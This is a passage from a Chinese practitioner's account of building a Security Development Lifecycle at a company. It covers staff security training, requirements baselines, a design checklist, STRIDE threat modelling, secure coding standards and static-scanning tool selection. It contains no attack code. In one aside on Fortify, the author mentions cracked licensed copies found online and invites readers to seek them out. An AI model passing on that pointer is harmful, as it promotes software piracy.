出 SDL 相关实践工作,如今历时约一年半终于完成。一时兴起,打开电脑开始
整理成册,并与大家分享。
1.2 2018 编写背景
从入职到现在已将近一年半,从最开始的安全测试,后来的安全开发规范
和代码审计平台搭建、移动 APP 安全加固项目,最近的安全测试技术与安全开
发、新员工入职培训,以及标准化项目中产出的安全设计 checklist…我们在应
用安全的积累也越来越多。恰好正在思考这段时间以来的收获,脑海中 SDL 这
一词瞬间闪现出来,我们制定出的诸多规范和流程也需要在各种业务方打磨,
期间产生的各种“麻烦”、“困难”十分宝贵,遂记之。(2018 年 8 月 22 日星
期三 18:31)
记得在之前参加面试时,被问到 SDL,勉强把其流程稍加解释的给背了出
来,面试官一脸不屑的样子记忆犹新。因为那时负责的是乙方安服技术团队,
针对甲方推崇但又没几家实际落地并做好的 SDL,的确缺少经验。后来,在网
上找了很多相关资料,但大多都是没血没肉的理论指导性文章,落地的案例寥
我的安全视界观 aerfa
寥无几。再后来,主动联系了当初的面试官,请教他们公司的 SDL 如何开展,
得到的回复却是:这玩意儿真正落地的公司比较少,都是一二线互联网公司在
玩;外面那些 paper 都太形而上了,没有落地空间,有些概念可以参考,跟领
导吹吹牛逼是可以的。
时至今日,工作方向已由应用安全转向负责基础安全。经过近一年的演变,
公司落地版的 SDL 已稍见雏形,各个环节已基本打通并稳定,期间的各种经验
和心得甚为宝贵,于是乎计划着编写这一系列的文章,或许可以在 SDL 案例缺
失的时间,给同行朋友带来一丝参考与思考。由于是最初实践,肯定存在一些
不足甚至错误,烦请指正并热烈讨论。
2 总体概述
2.1 SDL 概况
安全开发生命周期(SDL)即 Security Development Lifecycle,是微软提
出的从安全角度指导软件开发过程的管理模式。在传统软件开发生命周期的各
个阶段增加了一些必要的安全活动,软件开发的不同阶段所执行的安全活动也
不同,每个活动就算单独执行也都能对软件安全起到一定作用。
2.2 SDL 流程
SDL 的核心理念就是将安全考虑集成在软件开发的每一个阶段:需求分析、
设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段都增加相应
的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。其流程
分为以下七部分:安全培训、安全需求、安全设计、安全开发、安全测试、发
布审核、安全响应。
结合实际情况与资源,可以分为这样的七部分:
我的安全视界观 aerfa
该实践基于作者以及前所在安全团队边学边推行的最初实践,服务于物流
行业一家由传统转型互联网的公司,同样面临安全起步较晚且安全团队人数较
少,安全开发能力欠佳。
但凭借内外部资源、公司内部系统项目、安全事件推动等因素,已基本实
现所有新业务系统、旧业务系统功能大变更,均按照 SDL 推行。
3 安全培训
在企业信息安全建设的工作中,安全培训具备相对易做、效果显著、对业
务系统影响较小等特点,常常会被列为首先要做的事情。安全团队强大的甲方
公司具备专职人员开展相关工作,产出物更加贴近企业自身特点,总体效果丝
毫不逊色于专业公司;不少乙方公司也有很不错的信息安全培训服务,虽说针
对不同行业,但交付物可能还是会和预期有所差距。
安全培训
• 安全意识培训
• 安全技术培训
• 安全制度宣贯
安全需求
• 安全需求分析
• 质量标准建立
• 安全风险评估
安全设计
• 安全设计建立
• 受攻击面分析
• 进行威胁建模
安全开发
• 安全组件接入
• 安全开发规范
• 静态代码扫描
安全测试
• 安全报告验收
• 人工安全测试
• 安全漏洞验证
发布审核
• 最终安全评审
• 安全绿色通道
安全响应
• 安全事件响应
• 季度漏洞扫描
• 安全威胁预警
我的安全视界观 aerfa
作为 SDL 的第一个环节,其内容应该贯穿整个 SDL,可以根据不同的环节选
择性制作相关培训内容,针对不同的人群进行“专业”培训。即:
1)针对不同人群,设置不同的培训内容。比如:从岗位职责的出发,可以
划分为技术和非技术;针对不同的职级,可以分为领导和普通员工;…
2)针对不同人群,邀请不同的培训讲师。比如:针对公司领导层,可以与
外部厂商合作,聘请专业的、说话水平能到达领导 level 的高级讲师,亦或邀
请公安部领导或其他上级部门领导进行相关法制法规的讲解;针对公司技术人
员,可以借助自身在安全圈的人缘,邀请行业知名大佬进行相关安全技术的培
训;…
在企业的安全培训中,由于 SDL 涉及内容较多且较为专业、健全且高效的
安全培训体系会涉及更多的内容等因素,实际并不会按照 SDL 各环节顺序进行
开展。在我的最初实践中,依据公司组织架构、安全团队规模、实际安全需求
等多个维度,大致把安全培训分为三大块:安全意识培训、安全技术培训、安
全制度宣贯。
3.1 关键词
持续、提升、赋能
持续:培训内容需要做到系统化、有规划、有针对性并且迭代更新轻快;
提升:培训对象应该覆盖到全体员工,具体到不同岗位相关的专属技能;
赋能:培训结果达到为业务系统保驾护航,人人为公司信息安全贡献力量。
简而言之,即持续不断地对内输出安全能力,提升全员信息安全意识(能
力),为业务系统安全(公司信息安全)赋能。
安全
培训
安全
意识
安全
技术
制度
宣贯
我的安全视界观 aerfa
3.2 常见问题
在做之前以及做的时候,肯定会被以下问题困扰:
Q:人不够用怎么办?
能力不够怎么办?
培训不能持续怎么办?
A:善于发现内部力量并进行整合,主动引入外部优质资源。
内部资源:
1)培训组织:公司内部学院专门做员工的培训、人力资源部有人负责做员
工培训;
2)奖励机制:融入人力资源部门的培训体系,使用已有的积分奖励机制;
3)UI 设计:协调公司的 UI 资源,设计各类海报、易拉宝等宣传材料。
外部资源:
1)安全项目培训模块:在现有的移动安全加固项目中,抽取出移动安全培
训加入安全技术培训;
2)安全意识提供商:经过考量投入与产出比,偏向于选择合适的信息安全
意识服务提供商来做信息安全意识相关的事情,其中有一块比较重要的是对领
导层的信息安全意识。
3.3 安全意识培训
通过线上与线下相结合,升级信息安全小贴士并新增内容,扩展信息安全
资源整合
内部
培训组织
奖励机制
UI设计
外部
安全项目
培训模块
安全意识
提供商
我的安全视界观 aerfa
意识宣传渠道。
(1)信息安全小贴士
为了走亲民路线吸引更多的普通员工阅览且避免审美疲劳,已将去年制作
的信息安全小贴士模板改版升级为信息安全快讯,并加入实时重大安全新闻、
漏洞预警、公司信息安全相关制度与事件等内容。制作流程为:
信息安全组提出需求并申请 UI 资源-->多番沟通后设计师完成模板,交付
安全组-->安全人员收集宣传素材,并编辑模板输出海报-->每周一、三、五通
过各通讯渠道(信息安全组邮箱、内部即使沟通工具、企业微信公众号)进行
全员推送。
信息安全小贴士(各通讯渠道)
信息安全意识培训(在线与现场)
信息安全小报(邮件与易拉宝)
我的安全视界观 aerfa
(2)信息安全意识培训
最开始做的时候比较艰难,由于安全组是虚拟组织没形成实体,在组织架
构中的位置比较尴尬,再加上当时的领导是测试出身对这方面似乎也没有那么
重视,信息安全意识培训的 PPT 做了好几遍,也在组内进行过评审与分享,最
终还是因为不知如何“下手”导致一直没有做起来。后来将切入点聚焦到新员
工入职环节,于是就找到内部学院(专门负责员工的入职培训、各种培训)沟
通,在提升新员工信息安全意识的同时还能丰富他们的培训内容,最终顺利去
讲了一期新员工的安全意识培训。
由于培训效果及反响还不错,信息安全意识培训已经被纳入新员工的必学
课程,培训视频上架内部学堂形成稳定输出,另追加十道信息安全意识选择题,
正式顺利打响了第一枪。
后续,信息安全意识还被邀请到集团人力专门组织的新员工培训、事业部
定期组织的技术条线中,培训内容也进行了变更和优化,比如针对技术的信息
安全意识除了基本安全意识外还会添加技术部分:
我的安全视界观 aerfa
(基础篇)
(开发篇)
我的安全视界观 aerfa
(测试篇)
(产品篇)
随着公司对信息安全的重视、信息安全意识出现在大家眼前的次数增多,
有更多的环节都加入安全元素。目前已实现:
信息安全意识培训(领导层)
新员工信息安全意识培训(在线学堂)
新员工信息安全意识培训(技术条线、现场培训)
应届生信息安全意识培训(现场培训)
标红部分是想做但还没有落地,针对领导层的信息安全意识要求较高,最
好是邀请外部专家(一方面是外来的和尚好念经,另一方面是他们更加专业更
能从高层角度出发)。这一块通常可以通过购买外部服务,挑选专业的高级培
我的安全视界观 aerfa
训讲师,同时也可以请上级单位的领导走进公司宣讲相关法律法规与政策。另
附,外部信息安全意识厂商部分服务内容:
(3)信息安全小报
每季度一次,一般根据安全测试结果按照出现频率进行漏洞排名,将专业
的漏洞成因与危害白话化,让技术更懂安全技术,让非技术看懂安全技术。
安全组提供原素材:
我的安全视界观 aerfa
需由 UI 进行设计完成:
我的安全视界观 aerfa
3.4 安全技术培训
安全技术相关的培训源于 SDL 又超于 SDL,可以分为五大部分:安全设计、
安全测试、安全开发、安全运维与移动安全。
(1)安全设计
培训对象为产品设计人员,提升安全设计能力,在软件设计过程中预留安
全检查时间,避免后期出现安全问题进行返工而影响系统上线。该部分的主要
内容:一是安全设计 checklist,参考《软件安全开发指南》、《OWASP 安全编
码规范快速参考指南》,提取出其中比较实用且具体的要点,编写出安全设计
checklist 并进行培训推广。
第二部分是威胁分析,参考业界知名的 STRIDE 方法论,从 S 欺骗(认证、
会话管理安全、口令安全、未公开接口等)、T 篡改(访问通道安全、数据后
台校验、完整性校验)、R 抵赖(认证、日志审计等)、I 信息泄露(敏感数据
加密与保护,包括安全传输、加密算法安全、敏感数据加密存储、证书可替换、
隐私保护、合法监听等)、D 拒绝服务(协议健壮性、fuzz 测试等)、E 权限提
安全测
试
•安全测试入
门
•安全测试漏
洞(中危)
•安全测试漏
洞(高危)
安全开
发
•安全开发规
范
•代码审计漏
洞
•安全开发体
系(云舒)
安全运
维
•安全设备运
营
•安全运维漏
洞
移动安
全
•Android安
全
•iOS安全及
测试技术
安全设
计
•安全设计
checklist
•威胁建模
(stride)
组件名
负责人
安全属性
检查项
自查结果
符合度
备注
验证输入使用统一字符集,比如:UTF-8
描述该项的实际情况
如果不符合,请简要写明差距点
不符合
验证来自客户端的所有数据,包括:所有参数、URL、HTTP头信息
验证所有用户输入处参数检查:禁止使用动态拼装SQL,使用参数化(预编译)的SQL或者使用存储过程进
行查询存取
验证对输入的危险字符做额外的控制,比如:输出HTML编码(常见危险字符包括但不仅限于< > " ' % (
) & + \ \' \")
安全设计checklist
输入验证
注意事项:
1、符合度:
1)组件中每个功能都符合,才能选符合;
2)若有一个功能不满足,则不符合,并需在自查结果中说明;
3)组件中无此功能,才能选不涉及。
我的安全视界观 aerfa
升(越权测试、权限最小化、访问控制、配置管理等)进行实例化分析讲解。
以下某在线以某线上业务系统分析为例:
(2)安全测试
针对公司测试人员,为测试赋能安全。让测试掌握一般的安全测试方法与
工具使用,常见简单的安全问题在功能测试时就能解决,减轻安全人员的测试
压力。
关于课程方面的设计,建议从测试的角度出发,以他们熟悉思路和工具来
看待安全问题,推动慢慢培养安全思维。
我的安全视界观 aerfa
目前已经进行:
安全测试进击之路
安全测试培训-中危漏洞篇
安全测试培训-高危漏洞篇 I
(3)安全开发
依据安全测试结果,分析漏洞产生原因追溯到代码层,反向提取出公司业
务系统常见漏洞对应的开发规范,通过参考外部知名大公司的安全规范,邀请
架构组进行评审最终输出公司本地化的安全开发规范。
这便是安全开发规范的诞生流程,此外让规范落地需要运营推广、检查开
发是否参照安全开发规范写代码需要工具支撑,由此安全开发规范的讲解、代
码审计系统的使用,便成为安全开发培训中的两个重要环节。
(安全开发规范:越权讲解)
(4)安全运维
最近身处运维团队,也很清楚内部分为网络组、应用组、数据库组及他们
主要的工作任务。除了分享曾今编写的《安全运维那些洞》之外,恰逢有一批
我的安全视界观 aerfa
安全设备新上线,协调厂商工程师对内部安全人员、相关运维人员进行技术与
运维培训。合理的分工合作,同样在运维团队适行:把数据库审计系统交付给
数据库组,安全配置核查系统交给应用组管理,再次弥补了安全组人员不够的
窘境,也为运维安全赋能。
(5)移动安全
安全团队中没有人专研移动安全,但并不影响公司对移动客户端安全性的
重视,由此引入了第三方移动安全公司的加固服务,项目中随之而来的也有相
关的安全培训服务:
我的安全视界观 aerfa
在外部厂商的培训服务中,服务内容还是相对较为灵活,可以在不同阶段
针对不同情况,与厂商对接沟通安排合适内容的培训。总体来说培训效果还不
错,但在讲师的选择上要严格把关,避免厂商将不熟悉技术原理、培训经验欠
佳的工程师推过来讲课,对内对上都不太好交代。
产品类别
产品名称
详细描述
交付方式
交付内容
APP加固系统平台安装部署培
训
使平台管理人员明白平台部署步骤,安装须
知,软硬件配置,注意事项等,便于出现问
题第一时间解决。
人工现场
安装演示+讲解;
时间:0.5课时;
APP加固系统平台使用操作培
训
业务人员明白操作流程,保证对平台的正确
而且高效的使用。
人工现场
ppt讲解+演示+指导;
时间:1课时;
APP加固系统平台管理培训
对负责平台系统管理的操作人员进行统一的
系统培训,保证管理人员熟悉系统的使用及
管理。
人工现场
ppt讲解+演示+指导;
时间:0.5课时;
APP加固系统平台维护培训
系统维护人员进行整个系统的操作及内部的
管理培训,保证系统维护人员熟悉系统的操
作和维护。
人工现场
ppt讲解+演示+指导;
时间:0.5课时;
移动APP加密基本原理知识培
训
讲解加固知识和原理,让技术懂得加固基本
技术,了解加固后对APK文件安全的帮助。
人工现场
ppt讲解+演示+提问答疑;
时间:1课时;
ppt讲解+安全事件报道;
时间:1课时;
ppt讲解+DEMO演示+案例
时间:5课时;
ppt讲解+实例操作;
时间:4课时;
ppt讲解+指导;
时间:4课时;
ppt讲解+演示;
时间:2课时;
ppt讲解+DEMO演示+案例枚举;
时间:4课时;
ppt讲解+DEMO演示+案例枚举;
时间:6课时;
ppt讲解+DEMO演示+案例枚举;
时间:6课时;
ppt讲解+案例枚举;
时间:2课时;
移动应用开发过程中的安全编
码
从移动应用开发过程中的编码环节入手,对
应每一个风险点进行讲解,并详细介绍防范
措施的技术原理
人工现场
移动应用运行环境安全风险
从移动应用系统分布以及黑客常用的基础环
境入手,讲解系统攻击与对应的防范措施
人工现场
移动应用基本安全配置
针对应用开发过程中配置信息的开发规范进
行讲解
人工现场
安全培训服务
Android应用安全开发规范培
训
移动应用安全开发基础知识
简单介绍移动应用项目开发流程中常用工具
人工现场
移动应用安全业务场景实例分
析
针对一款常见移动应用中常见的业务风险进
行实例分析
人工现场
安全检测方法
针对Android/ISO/HTML5三个移动端的漏洞
检测环境配置及检测方法
人工现场
移动应用漏洞分析培训
移动应用安全形势
移动应用安全态势,包括国内外安全事件、漏
洞、风险趋势、针对移动应用的攻击、病毒
趋势等,以及造成这些趋势可能的原因 。
人工现场
移动应用常见漏洞及攻击方法
移动应用安全基本知识、漏洞、攻击手段和
方法、常用的攻击工具以及演示等(包括
Android、IOS、H5三个平台))
人工现场
防御加固方法
讲解常见漏洞点的一般防御加固方法
人工现场
APP加固系统培训
我的安全视界观 aerfa
3.5 安全制度宣贯
安全制度宣贯不仅仅是让大家能“分次”阅读枯燥无味的信息安全相关制
度与规范,也可以将 SDL 流程精简出来推广到各业务线。安全提测流程宣贯是
SDL 各环节的缩影,告诉软件开发相关的所有人注意事项:应该做些什么、做
到什么程度可以过安全关卡顺利上线发布。
(1)安全提测流程宣贯
当前计划为每月 15 日(周末与节假日后延),由安全组在安全接口人群中
通知各部门安全接口人培训信息,安全接口人向下传达,要求不知道安全提测、
不清楚安全提测流程、对安全提测有质疑的同事参会。除此之外,在日常的业
务系统安全评估过程中,被安全组发现不清楚流程的同学,也会被直接通知到
参加宣贯会。主讲人由安全组成员担任,考量每位成员对落地版的 SDL 掌握熟
练程度,因为只有自己人清楚了才不会误导业务方。在宣贯的过程中,可能会
受到不少挑战,因此也需要一位比较熟悉的成员参加解答疑难杂症,保障信息
安全组免受质疑。以下是由同事制作的宣贯 ppt 节选:
• 定期持续
• 线下培训
安全提测
流程宣贯
• 制定发布
• 线上宣传
信息安全
管理办法
我的安全视界观 aerfa
(2)信息安全管理办法
为了打破制度类文章的枯燥无味,结合现有资源与渠道,通过信息安全快
讯(信息安全小贴士)进行宣传。在使用模板制作海报时,需要避免大段文字
的粘贴给人带来视觉疲劳。如果片段很长,需要把制度中的文字稍微进行缩句;
如果缩句后意思发生变化或仍然很长,则可以考虑忽视该段内容。因为我们想
要获得的结果是:让员工知晓公司有信息安全制度这一回事儿,期望他们了解
其中的部分内容即可。需要值得关注的是,制度类的安全快讯不能连续推广,
两次之间应该插入其他的内容,否则不仅起不到宣贯效果甚至可能导致信息安
全快讯失关。合理的制定推广内容、频率、渠道,是相关负责人需要重点考虑
的问题。
我的安全视界观 aerfa
4 安全需求
为减少安全问题带来的损失,以及线上安全问题整改带来的成本,需要将
安全工作进行前置。在需求分析阶段,应该对软件产品的风险进行评估,建立
安全需求。由于产品多且功能繁杂、项目管理未覆盖到每条业务线、安全团队
人员少等诸多因素,ROI 是最头疼的难题。不过可以因地制宜,借助纵深防御
思想并落实到该阶段,建立基本或通用的安全需求。
4.1 安全目标
安全团队通过参加立项或需求评审会议,宣贯安全评估流程,提出安全质
量要求,引导输出安全需求。从而,避免安全活动影响业务系统上线发布,减
少并消除产品安全隐患,提升业务安全能力。
4.2 安全活动
在需求分析阶段,安全活动可以包括:安全评估流程宣贯、提出安全需
求、声明安全质量要求。
1)宣贯安全评估流程
项目立项的关注点聚焦在产品的功能,这时候不需要进行详细的安全评估
流程宣贯,应该重点告知项目组成员关注安全流程与节点,特别是项目(产品)
经理。
自研项目各个阶段都要加入安全检查
安全
活动
安全
评估
质量
要求
安全
需求
我的安全视界观 aerfa
安全需求-->安全设计-->安全开发-->安全测试-->发布审核
系统发布上线前设置卡点
需满足各项安全要求,才能顺利上线。否则需要经过很长流程找多位负责
人和 CTO 同意,走绿色通道。即使走绿色通道,也要确定责任人以及漏洞整改
计划。
2)提出安全需求
安全需求基线
如果最开始不清楚如何制定合理且有效的安全需求基线,可以根据后续安
全活动中发现的“普遍”安全问题,从整改难度大和需要投入的时间长等角
度,反向总结出基础安全需求,比如:
域名备案号
Web 系统强制使用 https
外购产品需要交付安全相关材料
特定业务场景安全需求分析
具体场景中的安全需求分析,就得另当别论,此处会涉及到覆盖面的问
题。并不是所有的业务场景都需要安全需求分析,比如:登录、注册场景是通
用的,在没有变更的情况下,仅一次全面的安全分析即可;不涉及敏感操作的
功能,也不需要考虑安全需求分析,比如:不涉及增删改查仅静态展示的功
能;通常会发生安全漏洞的功能,需要重点关注,比如文件上传、个人信息编
辑等。
3)声明安全质量要求
明确业务系统允许发布上线的安全质量要求:
内部系统:需要满足主机漏扫无高中危漏洞、web 漏扫无高中危漏洞
对外发布系统:需要满足安全设计 checklist、代码审计、主机漏扫、
web 漏扫、人工安全测试均无高中危漏洞。
外部采购产品:需要提供产品安全证明材料,并在签订合同时须包含安
全责任协议和应急止损售后服务。安全证明材料一般是指第三方安全
公司出具的报告,包括:代码审计报告、主流扫描器漏扫、渗透测试
我的安全视界观 aerfa
报告、开源组件清单(依赖的开源组件类型和版本信息)。
4.3 待提升项
刚开始推行时,或多或少会出现业务不适、覆盖面不全、分析深度欠缺等
问题,以下便总结梳理了几个较常见的问题。
业务覆盖面不足
安全需求分析虽然将安全活动与项目管理相结合,但还是存在未覆盖的情
况。故应该推动与协助项管去解决覆盖问题(规范公司的立项流程,增加人手
等方式)或另寻其他方法补漏,确保所有项目都能通知到安全团队。
新增功能点未覆盖
目前仅针对新立项的项目,对于老项目新增功能点或功能需求变更,并没
没有做要求。随着后续团队人员增加、更加成熟的自动化方案,将在覆盖面的
基础上细化到功能点。
安全需求分析不够深入
主要是基于普遍存在且需要较长时间去解决的问题,统一提前到需求分析
阶段来做安全需求基线。具体到每一个产品的安全需求并不够深入,后续可以
针对核心产品进行试点运行。
5 安全设计
为了减少产品设计带来的安全隐患,避免后续发现问题时,对功能实现流
程甚至程序架构大刀阔斧改动带来高昂代价。在产品设计阶段,需要加入必要
的安全活动,减少并消除产品安全隐患,纵深提升业务安全能力。
5.1 安全目标
安全团队可以通过引导相关责任人进行自检,要求输出安全检查结果,并
推动落实安全整改项来开展安全活动。在此过程中,需关注以下四个基本要素:
我的安全视界观 aerfa
安全介入时间:产品设计阶段。
推荐执行角色:产品设计人员或技术架构师(一般而言技术架构师,
即开发总负责人。产品中会涉及不同功能模块,若是不同的开发独立
负责,则需要开发总负责人组织各开发进行安全自查、统一反馈)。
安全自检产物:安全设计 checklist 自检报告。
安全验收标准:自检报告中不存在不符合项;对于不符合项需制定相
应解决方案并落地解决。
5.2 安全活动
在产品设计阶段,安全活动主要围绕设计要求、减小攻击面和威胁建模展
开。
安全验收标准
(标准)
安全介入时间
(时间)
安全自检产物
(产物)
推荐执行角色
(人物)
四要素
我的安全视界观 aerfa
1)确定设计要求
从隐私和安全角度两方面进行考虑:
基本隐私设计:明确国家法律法规,对获取、记录用户隐私的相关产
品做出设计要求。(在告知用户并征得同意的情况下,仅收集程序必
须用到的隐私数据。)
基本安全设计:分为默认安全(在程序的默认配置中,需进行安全配
置,确保程序初始状态是安全的)和最低加密(在程序处理之前,对
所有数据进行严格验证或通过加密方式进行可靠地传输)。
2)减少攻击面
尽量减少暴露给恶意用户可能访问到的程序相关资源,包括但不仅限于端
口、接口、服务、协议。
系统服务最小原则:可以是安全域划分、测试域名内网化,也可以是
同一个应用(war 包)仅允许发布在一个域名等运维安全相关举措。
应用最小权限原则:评估实现程序功能所需的网络访问最小权限、程
序运行的最小访问级别、边界防火墙端口最小化,从而建立按最小需
求分配相应的权限机制。
分层防御原则:在程序的不同层面实施安全方案,不同方案间需要相
互配合构成一个整体,在解决根本性问题时需要实施针对性的安全方
安全
设计
设计
要求
减少攻
击面
威胁
建模
我的安全视界观 aerfa
案。
3)威胁建模
威胁建模是一种分析应用程序威胁的方法,可识别潜在的安全问题并实施
相应解决或缓解措施。通常使用微软提出的 STRIDE 威胁等级分类法,将威胁
分为:Spoofing(仿冒)、Tampering(篡改)、Repudiation(否认)、
Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)和
Elevation of Privilege(权限提升)六部分。
上述六大威胁所表示的定义、安全属性、消减措施可参照下表:
威胁
安全属性
定义
举例
消减措施
仿冒(S)
认证
冒充人或物
冒充其他用户账号
身份管理、认证(密码认证、单点登
录、双因素、证书认证)、会话管理
篡改(T)
完整性
修改数据或代码
修改订单信息
完整性校验、访问控制
抵赖(R)
审计
不承认做过某行为 不承认修改行为
安全管理、安全审计、监控
信息泄露(I)
保密性
信息被泄露或窃取 用户信息被泄露
敏感信息保护、数据加密、访问控制
拒绝服务(D)
可用性
消耗资源、服务可
不用
DDOS 导致网站不可
用
DDOS 防护、负载均衡
权限提升(E)
授权
未经授权获取、提
升权限
普通用户提升到管理
员
授权、最小化
此外微软官方还提供了免费的威胁建模工具,可作为平时研究使用。
威胁建模
(STRIDE)
S
假冒
T
篡改
R
否认
I
信息泄露
D
拒绝服务
E
权限提升
我的安全视界观 aerfa
5.3 安全实践
在实际的安全活动中,一般采用安全设计 checklist + 威胁建模的模式。
针对一般业务系统功能的新增、迭代等变更,可降低安全要求暂不做
威胁建模,重点围绕安全设计 checklist 展开;
针对存在重大安全风险的环境、核心业务系统、业务系统通用功能等
业务场景,可按需进行威胁分析与建模(威胁建模存在厚重、耗时
长、技术门槛高等难题,不太适合企业所有的业务场景)。
由此,安全设计 checklist 便是安全设计阶段的重中之重。一套好的安全检
查项,并不是大而全,而是小而精且有效、业务方好理解。关于安全设计
checklist 的设计与内容,除了紧贴设计要求、安全编码规范、安全测试等后续
安全活动反哺外,还可以参照一些互联网上的优秀案例。比如,美的金融 SDL
安全设计 checklist:
又如,VIPKID 产品设计与开发安全红线:
我的安全视界观 aerfa
此外,还可以针对角色的不同,制作内容一致表现形式不同的安全检查
项。比如从业务方视角:
又如,从安全角度出发:
5.4 持续优化
安全设计需要一定的积累和尝试,才能总结出一套可落地、有效的安全流
程与解决方案。在实践过程中,发现一些比较行之有效的做法:
我的安全视界观 aerfa
1)宣贯会上搜集业务方切身需求与体会
通过定期召开“安全评估流程”宣贯,不断搜集来自前端开发、后端开
发、产品设计人员等不同参与人员的建议,持续优化现有安全设计 checklist。
前端代码和后端代码需要精细优化,分别制定安全设计 checklist 或在
现有表格中做明显区分;
针对企业系统的特点,对于统一功能单独制定安全设计要求,不需要
在每个系统中都要求开发来填写相关设计项,比如:单点登录、会员
修改/重置密码;
针对性对产品设计人员进行专业培训,选取一些常见的、工作中发现
的案例进行分享,可以是某一功能实现的流程分析强调发现的安全问
题;
推行产品设计安全规范,类似于开发安全规范,从安全设计阶段进行
取材,制定公司(业务)特有的“安全红线”。
2)从后续安全活动中吸取经验,反哺安全设计检查项
在其后的环节,特别是代码审计和安全测试发现的漏洞与安全缺陷,可以
反推到安全设计阶段,不断优化、持续补强针对某一重要系统或某一通用功能
的专属安全设计 checklist。
3)扩大相关责任人范围,衔接安全开发
如果仅聚焦于产品设计师可能带来的安全问题,往往难以满足在该阶段的
期望(产品设计师输出产品功能原型图、业务流程图,具体功能实现便交由开
发)。从降低安全活动带来的成本与打通 SDL 流程的角度考虑,需要将安全编
码的理念提前一部分加入到安全设计阶段,因此该阶段关注的人物对象便是产
品设计人员、开发人员。
6 安全开发
在确定产品原型与功能之后,便交由开发负责推进。然而他们的关注点大
我的安全视界观 aerfa
多仅在于业务流程与功能点的实现,具体使用的技术决定于公司技术栈和个人
能力,对于带着安全意识去编码这件事儿,大多都没太在意。
6.1 安全目标
通过提供公共安全组件、制定安全开发规范、提供静态代码审计系统给业
务方,从基础安全服务提供者、安全规范制定者和安全质量把关者角度出发,
对开发进行赋能,想办法让其按照安全开发规范进行编码,并提供一套强有力
的代码安全检测系统,把控代码安全质量,从而减少或消除因编码而产生的安
全漏洞。
6.2 安全活动
在代码编写阶段,安全活动主要围绕安全开发规范、安全组件接入和静态
代码扫描开展。
安全培训
安全需求
安全设计
安全开发
安全测试
安全审核
安全响应
安全组件接入
安全开发规范
静态代码扫描
我的安全视界观 aerfa
1)安全开发规范
从隐私和安全角度两方面出发,结合当前发现的高危问题;参考业界的安
全开发规范,融合公司当前的技术栈;站在开发视角,进行安全开发规范的编
写。规范项不在多,关键是需要清晰、易懂、针对性强、易判断是否违规。
2)安全组件接入
分析企业中存在的常见安全漏洞,来源可能是内部安全测试结果、外部漏
洞收集(SRC、第三方漏洞平台、CVND 等),并结合漏洞影响、开发难易程
度、加固效果,对业务部门输出统一的安全组件,快速、高效、低成本解决普
遍存在的安全问题。常见的可能有:统一登录安全网关、短信安全网关、
CSRF-token 组件、XSS 过滤器(适用于非富文本框场景)等。
3)静态代码扫描
代码的白盒测试,最好是嵌入到发布流程中。一方面对源代码起到保护作
用,不用另辟蹊径存放源代码,打破源代码统一管控的好局势;另一方面可以
在流程中设置卡点,形成强有力的抓手。不少人对代码分析存在恐惧,觉得是
效率低并且要求高的工作,但是在代码层面找出问题对于整个 SDL 都是十分必
要、有效的一环。市面上的代码审计工具不少,商业的包括 checkmarx、
代码
编写
安全开
发规范
安全组
件接入
静态代
码扫描
我的安全视界观 aerfa
fortify、coverity,开源的有 check style、findbugs、cobra、Rips 等,需要
从语言的支持、误报率、购买以及维护成本等不同维度进行综合评估。
6.3 安全实践
1)开发安全规范
开发语言:随着技术的不断更新与发展,公司中必然会出现不同的开
发语言,按照先 cover 住公司主流语言的思路,确定 Java 安全开发规
范的编写工作。
编写内容:比较快速的一种方法是引入外部优质资源,现网上公开的
优质资源有阿里的安全开发规范、华为早期的安全开发规范,参考其
内容与格式,针对公司主流语言系统常见高中危漏洞进行编写。
规范框架:包括漏洞描述、检测方法、代码示例(不合规代码示例、
合规代码示例)及修复方案。
线上发文开发安全规范
评审完毕后启动线上发布流程
走进产品线进行规范讲解与推广
架构组评审开发安全规范
从可落地角度出发精简规范
从对开发友好性优化规范结构
安全组编写开发安全规范
常见高危漏洞反馈至代码层
参考业界标准与大厂经验
我的安全视界观 aerfa
架构评审:安全人员有时不禁仅从安全的角度来编写规范,如果没有
专业的开发技术和对漏洞足够的了解,预期的产物与效果往往会大打
折扣。邀请架构组和业务线上的开发参与规范评审,不仅会从专业的
技术角度提出建议,还会从实际可落地性和开发容易理解的视角进行
完善。
发文上线:发文之前有一必备的步骤就是会签,找各业务线的领导和
大老板会签,让他们知道有安全开发规范的存在,对日后可能产生的
违规处罚进行声明。
2)代码审计系统
代码扫描工具选型:以来自互联网上的一张改编图进行说明,对主流
的扫描工具进行对比。
提供静态代码
扫描服务
嵌入系
统发布
流程
代码扫描
工具选型
我的安全视界观 aerfa
本文中的示例,以 fortify 为例。(网上出现不少带 license 的破解版
本,有兴趣的自寻查找)
嵌入系统发布流程:将代码扫描工具集成到系统发布流程,是安全开
发阶段最重要的步骤。在发布系统中加入静态代码扫描按钮,开发创
建项目并提交代码后,触发 fortify 在扫描服务器上进行扫描,扫描结
束后以邮件的方式告知开发。大体流程如下:
提供代码扫描服务:以安全服务提供给业务方,除了代码扫描的能力
外,还有安全扫描的流程与使用方法介绍、扫描出的漏洞解读与技术
工具名称
持续集成
漏洞规则
误报率
扫描速度
语言支持
版本类型
check marx
支持
主流owasp、cwe
、pci等规则
高
中
20种
商业
fortify sca
支持
696种,业界最多
较高
中
23种
商业
coverity
支持
主流owasp、cwe
、pci等规则
高
中
11种
商业
check style
支持
中
不涉及
快
仅Java
免费
findbugs
支持
少
不涉及
快
仅Java
免费
cobra
支持
少
不涉及
快
主要PHP、Java
免费
rips
不支持
少
高
快
仅PHP
免费
常见代码扫描工具对比
我的安全视界观 aerfa
支持、总结常见问题并归档对外输出。比如往期的文章中,将 fortify
汉化版漏洞说明,统一放到内部技术平台以供学习。
3)输出公共安全组件
现状分析:针对普遍存在于业务线或高频出现的高危漏洞,结合不同
的场景进行分析,衡量是否有输出公共安全组件的必要性。别让开发
花大量时间在修复漏洞上,解放他们,回归系统功能的开发与实现。
协作部门:单靠安全部门,在一般的公司难以做起来,尤其是缺少安
全开发或开发能力不强的团队。比较好的一种方法便是拉上中间件等
中台部门进行合作,优势互补输出公共安全组件。
安全评估:针对公共安全组件的安全评估,包括功能设计、实现逻辑
以及最后的安全测试,都需要安全人员的重点关注,避免安全组件出
现绕过的场景,杜绝因为安全组件而引入新的安全隐患。比如使用已
知的成熟算法,切勿私自发明创造。
6.4 持续优化
安全运营的思想,也同样适合在 SDL 的各个阶段,即:在推行中发现问
题,解决问题,优化功能。在安全开发阶段,安全开发规范需要优化,代码扫
